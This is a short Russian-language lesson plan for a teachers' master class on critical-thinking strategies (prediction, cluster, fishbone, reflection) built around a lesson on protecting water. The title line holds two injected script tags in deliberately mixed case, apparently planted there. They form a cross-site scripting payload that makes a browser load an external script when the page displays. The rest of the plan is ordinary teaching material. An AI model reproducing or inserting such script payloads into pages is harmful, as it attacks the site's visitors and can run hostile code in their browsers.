Сын тұрғысынан ойлау бойынша мастер-класс<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Темамастер-класса

Критическое мышление

Цель:

К концу мастер-класса педагоги смогут назвать одну стратегию критического мышления, которую они будут применять на своем уроке

Ход мастер-класса

Мероприятие

Ресурсы

Деление на группы

Создаются 4 группы. З группы – хаотичное создание, 4 группа – Химченко Н.В., Гептина Г.И., Шиленкова В.И., Черная Г.Г., Аукен С.А. (эти педагоги наиболее активны при работе в группе. Для того, чтобы дать возможность работать остальным их собрали в отдельную группу)

Стадия вызова

1. Стратегия «Предсказание»

Ведущий мастер-класса читает сказку о воде с остановками.

- После прочитанной сказки, вы можете определить тему нашего сегодняшнего урока?

- Действительно, тема нашего урока «Охрана воды».

Сказка о воде

Стадия осмысления

1. Стратегия «Кластер»

Участникам раздаются «капельки», на которых нужно написать ответ на вопрос «Зачем человеку нужна вода?» и прикрепить на ватман с изображением тучки.

Ведущий мастер-класса зачитывает все ответы участников.

- Вот почему очень важно говорить об этой проблеме.

1. Стратегия «Фишбоун»

Группам раздаются одинаковые тексты из учебника «Познание мира» 4 класс на тему «Охрана воды». Им нужно выполнить следующие задания:

1 группа (голова) – прочитать текст и обозначить проблему, записав ее на «голове» рыбы.

2 группа (ребра) - прочитать текст и обозначить факты и причины, записав ее на «ребрах» рыбы.

3 группа (хвост) - прочитать текст и обозначить выводы, записав ее на «хвосте» рыбы.

4 группа (отдельные педагоги) – создать постер в защиту воды.

Время на работу 7 минут.

Презентация работы групп.

Раздаточный материал.

Стадия рефлексии

Ведущий мастер-класса показывает на слайде и называет использованные стратегии во время мастер класса.

Далее участникам предлагается рефлексия в виде СМС ведущему с ответом на вопрос «Какой прием я могу использовать на моем уроке?»